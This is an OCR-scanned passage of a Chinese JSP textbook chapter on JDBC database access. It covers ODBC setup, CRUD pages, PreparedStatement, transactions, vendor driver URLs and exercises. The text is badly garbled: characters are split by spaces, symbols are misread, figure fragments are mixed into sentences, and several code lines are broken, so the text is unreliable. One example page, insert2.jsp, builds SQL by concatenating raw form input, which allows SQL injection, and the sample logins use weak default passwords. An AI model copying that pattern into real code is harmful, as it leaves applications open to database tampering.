2. 在 上 题 的 表单 中 增加 一 个 checkbox, 让 用 户 选 择 “ 是 否 注册 为 会 员 ”, 如 果 注 册 为 会 
员 , 则 在 显示 时 增加 文本 “欢迎 您 注册 为 会 员 ”。 
3. 在 页 面 1 的 表单 内 输入 一 个 数字 N, 提交, 能 够 在 另 一 个 页 面 打 印 N 个 “欢迎 ? 字 
符 串 。 


人 
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4. 编写 一 个 “计算 找 零 ” 的 页 面 ,在 页 面 上 输入 应 付款 、 实 际 付款 ,提交 ,在 页 面 底部 显 
示 应 该 找 零 的 数量 和 各 种 面额 的 张 数 ,例如 找 零 是 56 元 ,应 该 付款 为 50 元 1 张 .5 元 1 张 、 
1 元 1 张 。 假 设 现 有 100、50、20、10、5、1 这 5 种 面额 。 

5. 在 页 面 1 中 输入 账号 和 密码 ,进行 登录 ,如 果 账 号 和 密码 相符 , 则 认为 成 功 登 录 到 页 
面 2, 在 页 面 2 中 显示 一 个 文本 框 输 入 用 户 姓名 ,输入 之 后 提交 ,在 页 面 3 中 显示 用 户 的 账 
号 和 姓名 。 


JSP 访问 数据 库 


视频 讲解 
建议 学 时 : 2 
在 实际 项 目 中 网 页 有 可 能 和 数据 库 进 行 交 互 ,因此 数据 库 在 Web 开发 过 程 中 起 到 了 很 
大 的 作用 。 本 章 基 于 JDBC (Java Database Connectivity) 技术 讲解 对 数据 库 的 增 / 删 / 改 / 
查 , 然 后 讲解 数据 库 操 作 过 程 中 应 该 注意 的 一 些 问题 。 


6.1 JDBC 简介 


通过 前 面 的 章节 读者 知道 ,在 JSP 中 可 以 写 Java 代码 ,很 明显 可 以 通过 Java 代码 来 访 
问 数据 库 。 在 Java 技术 系列 中 访问 数据 库 的 技术 叫 作 JDBC, 它 提供 了 一 系列 的 API, 让 
Java 请 言 编写 的 代码 连接 数据 库 , 对 数据 库 中 的 数据 进行 添加 、 删 除 、 修 改 和 查询 。 

与 JDBC 相关 的 API 存放 在 java. sql 包 中 ,主要 包括 以 下 类 或 接口 ,读者 可 以 参看 JDK 
的 API 文 档 。 

(1) java. sql. Connection: 负责 连接 数据 库 。 

(2) java. sql. Statement: 负责 执行 数据 库 SQL 语句 。 

(3) java. sql. ResultSet: 负责 存放 查询 结果 。 
不 过 这 里 有 一 个 问题 ,JSP 不 知道 具体 连接 的 是 哪 


JSP( 含 JDBC 代 码 ) 

-种 数据 库 ,而 各 种 数据 库 产品 由 于 厂商 不 一 样 ,连接 
| [US | 的 方式 肯定 不 一 样 ,Java 代码 如 何 判定 是 哪 一 种 数据 
( 徽 软 公司 提供 | | ouaet 司 提供 ) | 库 呢 ? 答案 是 针对 不 同类 型 的 数据 库 ,JDBC 机 制 中 提 


供 了 “驱动 程序 ”的 概念 。 对 于 不 同 的 数据 库 , 程 序 只 


需要 使 用 不 同 的 驱动 ,如 图 6-1 所 示 。 
从 图 6-1 中 可 以 看 出 ,对 于 Oracle 数据 库 , 只 要 安 
图 6-1 厂商 驱动 连接 数据 库 装 Oracle 驱动 ,JDBC 就 可 以 不 关心 具体 的 连接 过 程 对 
Oracle 进行 操作 ; 如 果 是 SQL Server, 只 需要 安装 
SQL Server 驱动 ,JDBC 就 可 以 不 关心 具体 的 连接 过 程 对 SQL Server 进行 操作 。 
从 这 里 可 以 看 出 ,要 连接 到 不 同 厂商 的 数据 库 , 应 该 首先 安装 相应 厂商 的 数据 库 驱 动 。 
这 就 是 数据 库 连接 的 第 一 种 方式 一 一 数据 库 厂商 驱动 连接 。 
安装 数据 库 厂商 驱动 需要 去 相应 的 数据 库 厂商 网 站 下 载 驱 动 包 , 用 户 也 许 会 觉得 很 麻 
烦 。 为 此 微软 公司 提供 了 一 个 解决 方案 ,在 微软 公司 的 Windows 中 预先 设计 了 一 个 ODBC 
(Open Database Connectivity, 开 放 数 据 库 互 连 ) ,由 于 ODBC 是 微软 公司 的 产品 ,所 以 它 几 
乎 可 以 支持 在 Windows 平台 下 运行 的 所 有 数据 库 , 由 它 连接 到 特定 的 数据 库 之 后 ,JDBC 
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只 需要 连接 到 ODBC 就 可 以 了 ,如 图 6-2 所 示 。 
通过 ODBC 可 以 连接 到 ODBC 支持 的 任意 一 种 数 
据 库 , 这 种 连接 方式 叫 作 JDBC-ODBC 桥 ,使 用 这 种 方 


a be wy 到 数据 库 的 驱动 程序 称 为 JDBC-ODBC i 


以 上 介绍 了 两 种 数据 库 连接 方法 ,很 明显 , ODBC | 二 
桥接 比较 简单 ,但 是 只 支持 Windows 下 的 数据 库 连 接 ，| | soLsever | [Orele 
数据 库 厂商 驱动 的 可 移植 性 比较 好 ,但 是 需要 进行 不 同 | Windows 环 境 
厂商 驱动 的 下 载 。 实 际 上 还 有 -一些 其 他 方式 进行 数据 
库 连 接 , 由 于 不 太 常 用 ,在 本 章 不 作 讲解 。 


本 章 首先 讲解 JDBC-ODBC 桥接 方式 。 


6.2 建立 ODBC 数据 源 


JSP( 含 JDBC 代 码 ) 


6-2 ”ODBC 驱动 连接 数据 库 


在 使 用 ODBC 之 前 需要 配置 ODBC 的 数据 源 ,让 ODBC 知道 连接 的 具体 数据 库 。 下 面 
的 示例 都 是 在 Windows 7 下 进行 的 ,其 他 Windows 系统 与 之 类 似 。 

本 节 以 Access 为 例 进行 ODBC 连接 。 首 先 建立 一 个 名 为 School. mdb 的 Access 数据 
库 文件 ,存放 在 硬盘 上 ,例如 C 盘 根 目录 下 。 在 School. mdb 中 包含 表格 T_STUDENT( 字 
段 为 STUNO、STUNAME、STUSEX) 及 一 些 学 生 信息 ,如 图 6-3 所 示 。 

在 控制 面板 上 选择 “管理 工具 ”, 双 击 “ 数 据 源 (ODBC) 图 标 ”, 如 图 6-4 所 示 。 


国 T_STUDENT 
STUNO -| STUNAME -| STUSEX -| 
(ooo01 王 海 男 
0002 冯 山 女 
0003 张 平 男 
0004 刘欢 区 
0005 唐 为 男 
[Jooo6 唐 风 女 
0007 刘 平 时 
0008 徐 少 强 男 FE 数据 源 (ODB8O) 
0009 陈 发 女 快 于 方式 
0010 江海 女 [ol 124 KB 
图 6-3 数据 表 中 的 数据 图 6-4 “数据 源 (ODBC) "图标 


在 “ODBC 数据 源 管理 器 ”的 “系统 DSN” 选 项 卡 中 单 击 “ 添 加 ”按钮 ,如 图 6-5 所 示 。 

从 弹出 的 “创建 新 数据 源 ”" 对 话 框 的 数据 源 名 称 列表 中 选择 “Microsoft Access Driver 
(x* .mdb)” 并 单 击 “ 完 成 ”按钮 ,如 图 6-6 所 示 。 

注意 : 用 户 也 可 以 选择 其 他 种 类 的 数据 库 , 这 里 仅 以 Access 举例 。 

在 弹出 的 “ODBC Microsoft Access 安装 ”对 话 框 的 “数据 源 名 ”文本 框 中 输入 自 定义 的 
数据 源 名 称 ,然后 单 击 “ 选 择 ” 按 钮 .选择 Access 数据 库 所 在 的 目录 ,得 到 的 结果 如 图 6-7 
所 示 。 

这 样 就 建立 了 一 个 连接 到 C 盘 中 School. mdb 的 数据 源 , 名 为 “DSSchool”。 
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图 6-5 “ODBC 数据 源 管理 器 ”对 话 框 


选择 您 想 为 其 安装 教 据 源 的 红 动 程序 (5)。 
名 称 


Microsoft Access dBASE Driver 人 -by nd 
Microsoft Access D *, mdb) 

Microsoft Access Driver (#.mdb, *. accdb) 
Microsoft Access Text Driver (#. txt, #.csv. 
Microsoft Access-Treiber (#.mdb) 

Microsoft dBase Driver ff. dbf) 

Mierosoft dBase VFP Driver (#. dbf) 
Microsoft dBase-Treiber (+. dbf) 

ee Te | 


6-6 “创建 新 数据 源 ” 对 话 框 


[Dsschool 


数据 库 :。C:\School nm 和 


ES [0 [ 候 艳 D] [于 六 -] 


图 6-7 建立 数据 源 
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注意 : Access 的 数据 源 驱 动 器 都 是 32 位 的 ,在 64 位 机 上 可 能 找 不 到 Access 数据 源 驱 
动 器 。 对 于 64 位 机 ,可 以 打开 32 位 版 本 的 ODBC 管理 工具 ,其 界面 和 设置 过 程 与 32 位 机 的 
相同 。 另 外 ,由 于 JDK 1.8 及 以 上 版 本 都 已 经 不 再 包含 Access 桥接 驱动 ,在 使 用 JDBC-ODBC 
桥接 方式 时 需要 下 载 Access 驱动 的 jar 包 , 具 体操 作 方法 大 家 可 以 参见 其 他 详细 文档 。 


6.3 JDBC 操作 


以 前 面 的 ODBC 连接 为 例 ,JDBC 的 操作 分 为 下 列 4 个 步骤 。 
(1) 通过 JDBC 连接 到 ODBC ,并 获取 连接 对 象 ,代码 片段 如 下 。 


import java. sql. Connection; 


import java. sql. DriverManager; 


Class. forName( " sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection( "jdbc:odbc:DSSchool" ) ; 


第 1 句 是 指定 驱动 ,表示 连接 到 ODBC 而 不 是 其 他 驱动 。Class. forName(" 驱 动 名 ") 表 
示 加 载 数 据 库 的 驱动 类 ,"sun. jdbc. odbc. JdbcOdbcDriver" 为 JDBC 连接 到 ODBC 的 驱动 
名 ,如 果 是 其 他 驱动 , 则 要 写 相应 的 驱动 类 名 ,这 在 后 面 将 会 提 到 。 

第 2 句 是 获取 连接 ,格式 为 “DriverManager. getConnection(" URL"," 用 户 名 "," 密 
码 " 六 ,如 果 是 Access, 可 以 不 指定 用 户 名 和 密码 。 

URL 表示 需要 连接 的 数据 源 的 位 置 ,此 时 使 用 的 JDBC-ODBC 桥接 方式 的 URL 为 
“jdbc:odbc: 数 据 源 名 称 ”, 如 果 是 用 其 他 方式 连接 ,有 相应 的 写法 ,在 后 面 将 会 提 到 。 

(2) 使 用 Statement 接口 运行 SQL 语句 ,代码 片段 如 下 。 


import java. sql. Statement; 


Statement stat = conn. createStatement( ); 


stat. executeQuery( SQL 语句 ); // 查 询 
// 或 者 
stat. executeUpdate( SQL 语句 ); // 添 加 、 删 除 或 修改 


首先 用 连接 conn 创建 一 个 Statement 的 实例 ,然后 使 用 该 实例 运行 SQL 语句 。 
(3) 处 理 SQL 语句 运行 结果 ,这 和 具体 的 操作 有 关 , 在 后 面 将 会 详 述 。 
(4) 关闭 数据 库 连 接 。 


stat. close( ); 


conn. close( ); 


下 面 用 各 种 具体 的 操作 来 说 明 。 首 先 建立 ODBC 数据 源 ,用 MyEclipse 建立 项 目 Prj06。 
6.3.1 添加 数据 
根据 上 面 的 讲解 ,这 里 以 添加 数据 为 例 来 观察 一 个 完整 的 案例 。 本 节 开 发 一 个 网 页 , 运 
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行 该 网 页 ,可 以 在 数据 库 的 T_STUDENT 表 中 添加 一 条 学 号 为 “0032” 姓 名 为 “汉江 ”性 
别 为 “ 男 ” 的 记录 ,代码 如 insertl.jsp 所 示 。 


insertl. jsp 


< 外 @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver"); 
Connection conn = DriverManager. getConnection("jdbc:odbc:DSSchool"); 
Statement stat = conn. createStatement(); 
String sql = 
"INSERT INTO T_STUDENT( STUNO, STUNAME, STUSEX) VALUES( '0032', ' 冯 江 ', ' 男 ')"; 
int i= stat. executeUpdate( sql); 
out. println(" 成 功 添 加 ”+ i + " 行 "); 
stat. close(); 
conn. close(); 
%> 
</body> 
</html > 


运行 ,网 页 显示 效果 如 图 6-8 所 示 。 
在 数据 库 的 T_STUDENT 表 中 增加 了 如 图 6-9 所 示 的 记录 ,说 明 数 据 已 经 成 功 添加 。 


成 功 添加 1 行 国 |0032 汉江 男 
图 6-8 显示 效果 图 6-9 新 增 记 录 


在 这 里 重点 介绍 下 面 这 句 代码 : 


int i= stat. executeUpdate( sql); 


它 返 回 一 个 整 型 数值 ,表示 这 条 SQL 语句 执行 时 受 影响 的 行 数 , 即 成 功 添加 的 条 数 。 


6.3.2 删除 数据 


本 节 开 发 一 个 网 页 ,运行 该 网 页 ,可 以 在 数据 库 的 T_STUDENT 表 中 删除 学 号 为 
“0032” 的 记录 ,代码 如 deletel. jsp 所 示 。 


deletel. jsp 


<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
< 和 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver"); 
Connection conn = DriverManager. getConnection("jdbc:odbc:DSSchool"); 
Statement stat = conn. createStatement( ); 
String sql = "DELETE FROM T_STUDENT WHERE STUNO = '0032'"; 
int i= stat. executeUpdate( sql); 
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out.println(" 成 功 删除 " + i + " 行 "); 
stat. close(); 
conn. close(); 
%> 
</body > 
</html > 


运行 ,网 页 显示 效果 如 图 6-10 所 示 。 
数据 库 的 T_STUDENT 表 中 学 号 为 “0032” 的 记录 被 删除 了 。 
6.3.3 修改 数据 


本 节 开 发 一 个 网 页 ,运行 该 网 页 ,将 学 号 为 “0007” 的 学 生 的 性 别 改 为 “ 女 ”, 代 码 如 
updatel.jsp 所 示 。 


成 功 删除 1 行 
图 6-10 显示 效果 


updatel. jsp 


<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection("jdbc:odbc:DSSchool"); 
Statement stat = conn. createStatement( ); 
String sql = 
"UPDATE T_STUDENT SET STUSEX = ' 女 ' WHERE STUNO = '0007'"; 
int i= stat. executeUpdate( sql); 
out. println(" 成 功 修改 ”+ i + " 行 "); 
stat. close(); 
conn. close(); 
%> 
</body > 
</html > 


运行 ,网 页 显示 效果 如 图 6-11 所 示 。 
在 数据 库 中 ,T_STUDENT 表 中 学 号 为 “~0007” 的 记录 如 图 6-12 所 示 , 这 说 明 已 经 对 数 
据 进 行 了 修改 。 


成 功 修改 1 行 国 ooor 刘 平 女 
图 6-11 显示 效果 图 6-12 修改 记录 
6.3.4 查询 数据 


查询 比 增 / 删 / 改 要 复杂 一 些 , 因 为 涉及 对 结果 的 处 理 。 
下 面 看 一 个 例子 ,显示 系统 中 所 有 女生 的 学 号 和 姓名 ,代码 如 selectl.jsp 所 示 。 


selectl. jsp 


<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<html> 
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< body> 
<% 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver"); 
Connection conn = DriverManager. getConnection("jdbc:odbc:DSSchool"); 
Statement stat = conn. createStatement(); 
String sql = 
"SELECT STUNO, STUNAME FROM T_STUDENT WHERE STUSEX = ' 女 '"; 
ResultSet rs = stat. executeQuery(sql); 
while(rs. next()){ 
String stuno= rs. getString("STUNO"); 
String stuname = rs. getString("STUNAME"); 
out.println(stuno + "" + stuname + "<br>"); 
} 
stat. close(); 
conn. close(); 


%> 
</body > 
</html > 
0002 冯 山 其 运行 效果 如 图 6-13 所 示 。 
0 和 人 这 段 代 码 的 前 面部 分 和 增 / 删 / 改 相同 ,有 区 别 的 部 分 是 运行 
0 2 了 Statement 的 executeQuery() 函 数 , 返 回 一 个 ResultSet 对 象 
0010 江海 rs, 代 码 如 下 。 


6-13 ”显示 效果 


ResultSet rs = stat. executeQuery( sql); 


可 以 认为 结果 已 经 放 到 rs 中 了 , 接 下 来 的 问题 是 从 rs 中 取出 查询 出 来 的 结果 。 查 询 
到 的 结果 会 放 入 ResultSet 中 , 它 实 际 上 是 一 个 小 表格 。 在 取 数 据 之 前 首先 要 介绍 游标 的 
概念 (注意 ,不 是 数据 库 中 的 游标 ) 。 

游标 是 在 ResultSet 中 的 一 个 可 以 移动 的 指针 , 它 指 向 一 行 数据 ,初始 时 指向 第 1 行 的 
前 一 行 。rs. nextO 可 以 将 游标 移 到 下 一 行 ,其 返回 值 是 一 个 布尔 类 型 , 即 如 果 下 一 行 有 数据 ， 
返回 true, 和 否则 返回 flase。 很 明显 ,用 户 可 以 使 用 rs. nextO 配 上 while 循环 对 结果 进行 遍历 。 

当 游 标 指向 某 一 行 时 ,可 以 通过 ResultSet 的 getXXX(" 列 名 " 访 法 得 到 这 一 行 的 某 个 
数据 ,XXX 是 该 列 的 数据 类 型 ,可 以 是 String, 也 可 以 是 int 等 ,但 是 所 有 类 型 的 数据 都 可 以 
用 getString0) 方 法 获得 。 除 了 可 以 通过 列 名 获得 数据 外 ,还 可 以 通过 列 的 编号 来 获得 ,比如 
getString() 表 示 获 取 第 1 列 ，getString@) 表 示 获 取 第 2 列 。 将 rs 中 的 值 全 部 取出 并 显示 的 
代码 如 下 。 


while(rs. next()){ 
String stuno = rs. getString("STUNO"); 
String stuname = rs. getString("STUNAME" ); 
out.println(stuno + "" + stuname + "<br>"); 


} 


下 面 这 段 代码 的 效果 与 上 面 的 代码 是 一 样 的 。 
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while(rs. next()){ 
String stuno = rs. getString(1); 
String stuname = rs. getString(2); 
out.println(stuno + "" + stuname + "<br>"); 


} 


特别 提醒 : 游标 的 初始 值 并 不 是 指向 第 1 行 数据 ,而 是 指向 第 1 行 的 前 面 ,所 以 必须 要 
运行 一 次 next0 函 数 之 后 才能 从 开始 取 数 据 , 如 果 强 行 取 数据 , 则 会 因 找 不 到 该 列 而 报错 。 

从 某 一 行 中 通过 getXXX0 方 法 取 数 据 ,每 一 列 只 能 取 一 次 ,超过 一 次 程序 将 会 报错 ,如 
果 需 要 重复 使 用 数据 ,可 以 先 定义 一 个 变量 ,将 取出 的 数据 赋予 它 ,再 重复 使 用 。 


6.4 使 用 PreparedStatement 
本 节 以 添加 数据 为 例 进 行 介绍 ,一 般 具体 需要 添加 的 值 是 由 用 户 自己 输入 的 ,因此 应 该 


设置 一 些 变 量 。 在 这 种 情况 下 ,SQL 语句 的 写法 比较 麻烦 。 比 如 需要 在 表单 中 输入 要 添加 
的 学 号 ,姓名 和 性 别 , 表 单 代码 如 insertForm. jsp 所 示 。 


insertForm. jsp 
<%@ page language = "java" pageEncoding = "gb2312" %> 
<html> 
<body> 
< form action = "insert2. jsp" method = "post"> 
输入 学 号 :< input type = "text" name= "stuno"><br> 
输入 姓名 :< input type = "text" name = "stuname">< br> 
选择 性 别 : 
< select name = "stusex"> 
<option value = " 男 "> 男 </option> 
< option value = " 女 "> 女 </option> 
</select ><br> 
< input type = "submit" value = "提交 "> 
</form> 
</body > 
</html > 


该 表单 的 运行 效果 如 图 6-14 所 示 。 


输入 学 号 : 
输入 姓名 : 
选择 性 别 : 男 ~ 
图 6-14 表单 效果 


表单 提交 到 insert2. jsp ,代码 如 下 。 


insert2. jsp 


<% @ page language = "java" import = "java. sql. * ”pageEncoding = "gb2312" %> 
<html> 
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< body> 
<% 
request. setCharacterEncoding( "gb2312"); 
String stuno = request. getParameter("stuno"); 
String stuname = request. getParameter("stuname" ); 
String stusex = request. getParameter("stusex"); 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection("jdbc:odbc:DSSchool"); 
Statement stat = conn. createStatement( ); 
String sql= 
"INSERT INTO T_STUDENT(STUNO, STUNAME, STUSEX) VALUES('" + 
stuno+"','"+stuname + "','"+ stusex+" 
int i= stat. executeUpdate( sql); 
out. println(" 成 功 添 加 ”+ i + " 行 "); 
stat. close(); 
conn. close(); 
%> 
</body> 
</html > 


运行 ,提交 ,能 够 将 数据 保存 到 数据 库 。 不 过 在 这 里 出 现 了 一 句 复杂 的 代码 ,其 中 SQL 
语句 的 组 织 依赖 变量 ,比较 容易 出 错 。 


<% 

String stuno = request. getParameter("stuno"); 

String stuname = request. getParameter(" stuname" ) ; 

String stusex = request. getParameter("stusex"); 

String sql = 

"INSERT INTO T_STUDENT( STUNO, STUNAME, STUSEX) VALUES('" + 
stuno+"','"+stuname + "','"+stusex+""')"; 

%> 


PreparedStatement 帮 用 户 解决 了 这 个 问题 。PreparedStatement 是 Statement 的 子 接 
口 ,功能 与 Statement 类 似 。 此 处 可 以 将 insert2. jsp 改 为 insert3. jsp。 


insert3. jsp 


< 外 @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
< html > 
<body> 
< 第 
request. setCharacterEncoding("gb2312") ; 
String stuno = request. getParameter("stuno"); 
String stuname = request. getParameter("stuname" ); 
String stusex = request. getParameter("stusex"); 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection("jdbc:odbc:DSSchool"); 
String sql = 
"INSERT INTO T_STUDENT(STUNO, STUNAME, STUSEX) VALUES(?,?,?)"; 
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PreparedStatement ps = conn. prepareStatement( sql); 
ps. setString(1, stuno); 
ps. setString(2, stuname); 
ps. setString(3, stusex); 
int i= ps. executeUpdate( ); 
out.println(" 成 功 添加 ”+ i + " 行 "); 
ps.close(); 
conn. close(); 
%> 
</body > 
</html > 


这 段 代 码 的 效果 和 前 面 的 相同 ,但 是 它 在 SQL 语句 中 使 用 了 “?” 代 替 需 要 插入 的 参数 。 


String sql = 


用 PreparedStatement 的 setStringn, 参 数 ) 方 法 可 以 将 第 nn 个“?” 用 传 进 的 参数 代替 ， 
这 样 做 增加 了 程序 的 可 维护 性 ,也 增加 了 程序 的 安全 性 ,有 兴趣 的 读者 可 以 参阅 一 些 与 
SQL 安全 相关 的 资料 。 


6.5 事 务 


在 银行 转账 时 要 对 数据 库 进行 两 个 操作 ,即将 一 个 账户 的 钱 减少 ,将 另 一 个 账户 的 钱 增 
多 。 但 是 由 于 操作 的 先后 顺序 ,如 果 在 两 个 操作 之 间 发 生 故 障 , 则 会 导致 数据 不 一 致 ,因此 
需要 一 个 事务 ,使 得 在 两 条 语句 都 成 功 执行 后 数据 才 被 真正 放 人 和 人 数据库, 否则 数据 操作 回 滚 
(RollBack) 。 

在 默认 情况 下 ,executeUpdate0 函 数 会 在 数据 库 中 提交 改变 的 结果 ,可 以 用 Connection 
来 定义 该 函数 是 否 自动 提交 改变 结果 ,并 进行 事务 的 提交 或 者 回 深 。 

下 面 观察 transaction. jsp 的 代码 。 


transaction. jsp 


<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
< 第 
Connection conn = null; 
try{ 
Class. forName( " sun. jdbc. odbc. JdbcOdbcDriver" ); 
conn = DriverManager. getConnection("jdbc:odbc:DSSchool"); 
Statement stat = conn. createStatement(); 
conn. setAutoCommit(false); // 设 置 为 不 要 自动 提交 
String sqll = "UPDATE1"; 
String sql2 = "UPDATE2"; 
stat. executeUpdate( sql1); 
stat. executeUpdate( sql2); 
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conn. commit(); // 提 交 以 上 操作 
} 
catch(Exception ex){ 
conn. rollback( ); // 回 滚 
} 
finally{ 


conn. close( ); 
} 
%> 
</body > 
</html > 


从 以 上 Connection 中 可 以 设置 executeUpdate 不 要 自动 提交 ,代码 如 下 。 


conn. setAutoCommit(false); 


以 下 代码 的 意思 是 ,在 两 条 SQL 语句 运行 后 执行 提交 这 个 操作 。 


stat. executeUpdate(sql1) 
stat, executeUpdate( sql2); 
conn, commit( ); 


若 发 生 异 常 ,执行 后 的 数据 将 会 回 滚 。 


conn. rollback( ); 


这 样 就 保证 了 两 条 请 句 要 么 全 部 执行 ,要 么 全 部 不 执行 。 
6.6 使 用 厂商 驱动 进行 数据 库 连 接 


在 前 面 使 用 JDBC-ODBC 桥 进行 数据 库 的 操作 ,但 是 除了 Windows 操作 系统 以 外 还 有 
很 多 其 他 操作 系统 , 当 使 用 其 他 系统 下 的 数据 库 时 就 不 能 用 ODBC 了 ,这 时 可 以 使 用 由 数 
据 库 厂商 提供 的 JDBC 驱动 。 不 过 ,这 类 驱动 程序 的 弹性 较 差 , 由 于 是 数据 库 厂商 自己 提供 
的 专属 驱动 程序 ,所 以 往往 只 适用 于 自己 的 数据 库 系统 ,甚至 只 适用 于 某 个 版 本 的 数据 库 系 
统 。 如 果 后 台数 据 库 换 了 一 个 或 者 版 本 升级 了 , 则 可 能 需要 更 换 数据 库 驱 动 程序 。 

使 用 厂商 驱动 有 下 列 两 个 步骤 。 

(1) 到 相应 的 数据 库 厂 商 网 站 下 载 厂商 驱动 ,或 者 从 数据 库 安装 目录 下 找到 相应 的 厂 
商 驱 动 包 ,复制 到 Web 项 目的 “WEB-INF/lib” 下 。 这 里 以 Oracle 9i 为 例 ,可 以 将 “Oracle 
安装 目录 /jdbc/lib” 下 的 classes12. jar 复制 到 Web 项 目的 “WEB-INF/lib” 下 。 

(2) 在 JDBC 代码 中 设置 特定 的 驱动 程序 名 称 和 URL 。 

不 同 驱 动 程序 和 不 同 数 据 库 可 以 采用 不 同 驱 动 程序 名 称 和 URL。 

常见 数据 库 的 驱动 程序 名 称 和 URL 如 下 。 

GD MS SQL Server 的 驱动 程序 为 “com. microsoft. jdbc. sqlserver. SQLServerDriver”， 
URL 为 “jdbc:microsoft:sqlserver://LIP]:1433;DatabaseName=[DBNamejiuser=[user]; 
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password=[password]”。 比 如 连接 到 本 机 上 的 SQL Server 数据 库 , 名 称 为 “SCHOOL”, 用 
户 名 为 “sa” ,密码 为 “sa” ,代码 如 下 。 


Class. forName("com.microsoft. jdbc. sqlserver. SQLServerDriver"); 
Connection conn = DriverManager. getConnection( 
"jdbc:microsoft:sqlserver://localhost:1433;DatabaseName = SCHOOL;user = sa; password = sa") 


@ Oracle 的 驱动 程序 为 “oracle. jdbc. driver. OracleDriver”, URL 为 “jdbc:oracle:thin: 
@[ip]:1521:[sid]”。 比 如 连接 到 本 机 上 的 Oracle 数据 库 , SID 为 “SCHOOL”, 用 户 名 为 
“scott”, 密 码 为 “tiger” ,代码 如 下 。 


Class. forName("oracle. jdbc. driver. OracleDriver "); 
Connection conn = DriverManager. getConnection( 
"jdbc:oracle:thin:@localhost:1521:SCHOOL", "scott", "tiger"); 


@ MySQL 的 驱动 程序 为 “com. mysql. jdbc. Driver”, URL 为 “jdbc: mysql:// 
localhost:3306/[ DB Name]”。 比 如 连接 到 本 机 上 的 MySQL 数据 库 , 数 据 库 名 称 为 
“SCHOOL” ,用户 名 为 “root” ,密码 为 “manager”, 代 码 如 下 。 


Class. forName( "com. mysql. jdbc. Driver "); 
Connection conn = DriverManager. getConnection( 
"jdbc:mysql://localhost:3306/SCHOOL", "root", "manager" ); 


对 于 其 他 数据 库 , 读 者 可 以 参考 相应 文档 。 
需要 注意 的 是 ,必须 将 相应 的 包 复 制 到 Web 项 目 中 ,和 否则 会 抛 出 异常 。 这 样 的 做 法 完 
全 不 依赖 于 ODBC ,使 得 Java 应 用 连接 数据 库 可 以 在 各 种 平台 上 使 用 。 


6.7 本 章 小 结 


本 章 基 于 JDBC(Java Database Connectivity) 技 术 , 首 先 讲解 了 对 数据 库 的 增 / 删 / 改 / 
查 , 并 讲解 了 PreparedStatement 和 事务 处 理 ,最 后 对 使 用 厂商 驱动 的 方法 进行 了 介绍 。 


6.8 课 后 习题 


一 、 填空 题 

1. 在 java. sql 包 中 负责 执行 数据 库 SQL 语句 的 类 是 加 

2. 数据 库 连接 有 两 种 方式 ,分 别 是 和 a 

3. ODBC 的 中 文 名 称 是 ,JDBC 的 中 文 名 称 是 

4. 加 载 数据 库 驱 动 类 的 代码 是 5 

5. statement. executeUpdate(sql) 主 要 用 来 执行 y 的 SQL 
语句 ,其 返回 值 代表 的 是 a 
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6. statement. executeQuery(Gsql) 主 要 用 来 执行 的 SQL 语句 , 它 的 返回 值 是 
类 型 ,用 于 人 
7. PreparedStatement 的 方法 可 以 将 第 n 个“?” 传 递 的 参数 代替 。 
8. 可 以 使 用 类 来 定义 executeUpdate() 方 法 是 否 自动 提交 SQL 请 句 的 结果 ， 
并 进行 事务 的 提交 或 回 滚 。 
9. 通过 ODBC 可 以 连接 到 ODBC 支持 的 任意 一 种 数据 库 , 这 种 连接 方式 叫 作 8 
二 、 选 择 题 


I 


od 


下 列 关 于 JDBC 技术 的 说 法 错误 的 是 ( 

A. JDBC 可 以 适用 于 任何 语言 

B. 在 Java 技术 系列 中 ,访问 数据 库 的 技术 叫 作 JDBC 

C. JDBC 提供 了 一 系列 的 API, 让 Java 语言 编写 的 代码 连接 数据 库 , 对 数据 库 的 数 
据 进 行 添加 、 删 除 \ 修 改 和 查询 

D. JDBC 相关 的 API 存放 在 java. sql 包 中 


.java. sql. Connection 负责 ( Na 


A. 连接 数据 库 B. 执行 数据 库 的 SQL 语句 

C. 存放 查询 结果 D. 对 数据 库 进行 增 / 删 / 改 / 查 
.DriverManager. getConnection('URL", "用 户 名 ", "密码 ") 的 功能 是 ( Ws 

A. 指定 驱动 B. 获取 数据 库 连接 

C. 运行 SQL 语句 D. 处 理 SQL 语句 的 执行 结果 


.下列 关于 ResultSet 类 的 说 法 错误 的 是 ( )。 


A. 游标 是 在 ResultSet 中 的 一 个 可 以 移动 的 指针 , 它 指向 一 行 数据 ,初始 时 指向 第 
1 行 的 前 一 行 

B. 从 ResultSet 的 某 一 行 中 通过 getXXX( 方 法 取 数 据 的 每 一 列 能 取 无 限 次 

C. 当 游 标 指向 某 一 行 时 可 以 通过 ResultSet 的 getXXX(" 列 名 " 访 法 得 到 这 一 行 的 
某 个 数据 

D.， ResultSet 的 next() 方 法 的 返回 值 是 一 个 布尔 类 型 的 数据 


. 在 Connection 中 设置 executeUpdate 不 要 自动 提交 的 代码 是 ( )s 


A. connection. setAutoCommit(false) B. connection. setAutoCommit(true) 


C. connection. rollbackO D. connection. close() 


. 下列 关于 厂商 驱动 的 说 法 错误 的 是 ( ) 


A. 使 用 厂商 驱动 需要 下 载 相 应 的 厂商 驱动 包 , 将 其 复制 到 Web 项 目的 ”WEB- 
INF/lib” 下 

B. 不 同 驱动 程序 和 不 同 数据 库 可 以 采用 不 同 驱动 程序 名 称 和 URL 

C. 驱动 程序 一 般 弹 性 较 差 ,往往 只 适用 于 自己 的 数据 库 系 统 

D. 使 用 厂商 驱动 的 方法 完全 不 依赖 于 ODBC, 但 是 只 能 在 Windows 操作 系统 上 
使 用 


. 连接 到 本 机 MySQL 数据 库 上 的 SCHOOL 数据 库 的 代码 为 ( ) ,其 用 户 名 为 


,密码 为 “manager”。 
